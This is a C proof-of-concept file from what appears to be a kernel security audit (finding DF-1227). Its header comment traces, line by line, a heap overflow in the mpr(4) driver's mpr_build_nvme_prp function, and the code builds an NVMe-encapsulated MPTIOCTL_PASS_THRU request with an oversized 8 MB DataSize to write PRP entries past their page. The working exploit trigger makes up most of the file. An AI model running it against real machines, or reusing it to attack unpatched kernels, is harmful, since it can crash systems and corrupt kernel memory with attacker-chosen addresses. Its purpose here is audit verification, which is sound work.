DF-1227 / mpr_nvme_prp_overflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | /* * DF-1227 โ mpr_build_nvme_prp heap overflow via unbounded user DataSize. * * Trigger path (all from an unprivileged opener of /dev/mprN; on most * systems that is root or the `operator` group โ see mpr_user.c:205, * make_dev(... UID_ROOT, GID_OPERATOR, 0640 ...)): * * ioctl(MPTIOCTL_PASS_THRU) * -> mpr_user_pass_thru() [mpr_user.c] * RequestSize is capped to sc->reqframesz (:804) * but DataSize / DataOutSize are NOT capped to sc->maxio * cm->cm_length = MAX(DataSize, DataOutSize) (:904) * cm->cm_data = kmalloc(cm->cm_length) (:908) * if (Function == MPI2_FUNCTION_NVME_ENCAPSULATED) (:945) * mpr_build_nvme_prp(sc, cm, req, cm->cm_data, * data->DataSize, data->DataOutSize) (:970) * -> mpr.c:2716 allocates ONE PRP list page (PAGE_SIZE) * -> mpr.c:2757 while(length) length = data_in_sz (USER) * writes *prp_entry = paddr; prp_entry++; * for every PAGE of the user buffer * ONE PRP page holds PAGE_SIZE/8 = 512 entries. A user * DataSize of 8 MB describes 2048 pages -> ~1536 entries * written PAST the end of the single PRP page => heap * overflow with attacker-controlled (physical) addresses. * * This PoC issues that ioctl. On an UNPATCHED kernel with an mpr(4) * controller attached and an accessible /dev/mprN device node, it panics * (KASSERT on INVARIANTS-GENERIC when the PRP page allocator / adjacent * slab is corrupted, or silent heap corruption on noinv). The guest used * for this audit has NO mpr controller, so /dev/mpr0 does not exist and * this PoC cannot run here โ see VERDICT.md ("Reachability on this guest"). * * Build (in-guest, against the kernel headers): * cc -O -I/usr/src/sys -o mpr_nvme_prp_overflow mpr_nvme_prp_overflow.c * Run (requires read+write open of the node): * ./mpr_nvme_prp_overflow /dev/mpr0 */ #include <sys/ioctl.h> #include <sys/types.h> #include <dev/raid/mpr/mpr_ioctl.h> #include <dev/raid/mpr/mpi/mpi2.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #ifndef MPTIOCTL_PASS_THRU #error "mpr ioctl header not found; build with -I/usr/src/sys" #endif /* MPI2_REQUEST_HEADER.Function == 0x33 == MPI2_FUNCTION_NVME_ENCAPSULATED * (mpi2.h:719, pulled in via mpr_ioctl.h). Set this so the driver takes the * NVMe-encapsulated branch (mpr_user.c:945) and reaches mpr_build_nvme_prp(). */ int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/mpr0"; uint32_t huge = (argc > 2) ? (uint32_t)strtoul(argv[2], NULL, 0) : (8u * 1024 * 1024); /* 8 MB >> typical 1 MB maxio */ int fd; /* MPI2 request frame: 16-byte header is the minimum. */ unsigned char req[64]; unsigned char reply[128]; void *data; memset(req, 0, sizeof(req)); req[3] = MPI2_FUNCTION_NVME_ENCAPSULATED; /* offset 0x03 = Function */ fd = open(dev, O_RDWR); if (fd < 0) { fprintf(stderr, "%s: open failed: %s\n", dev, strerror(errno)); fprintf(stderr, "(no mpr(4) controller attached on this guest" " => node absent; or caller lacks rw perms)\n"); return 2; } data = malloc(huge); if (data == NULL) { perror("malloc"); return 1; } memset(data, 0, huge); mpr_pass_thru_t pt; memset(&pt, 0, sizeof(pt)); pt.PtrRequest = (uint64_t)(uintptr_t)req; pt.RequestSize = sizeof(req); pt.PtrReply = (uint64_t)(uintptr_t)reply; pt.ReplySize = sizeof(reply); pt.PtrData = (uint64_t)(uintptr_t)data; pt.DataSize = huge; pt.DataDirection = 1; /* MPR_PASS_THRU_DIRECTION_READ */ pt.Timeout = 30; printf("[DF-1227] issuing MPTIOCTL_PASS_THRU: Function=NVME_ENCAPSULATED" " DataSize=%u (>~1MB maxio)\n", huge); printf("[DF-1227] on an UNPATCHED kernel this drives mpr_build_nvme_prp" " past its single PRP page => heap overflow.\n"); if (ioctl(fd, MPTIOCTL_PASS_THRU, &pt) < 0) { printf("[DF-1227] ioctl errno=%d (%s)\n", errno, strerror(errno)); printf("[DF-1227] NOTE: on an unpatched kernel the heap overflow at" " mpr_build_nvme_prp already happened before this return.\n"); } close(fd); free(data); return 0; } |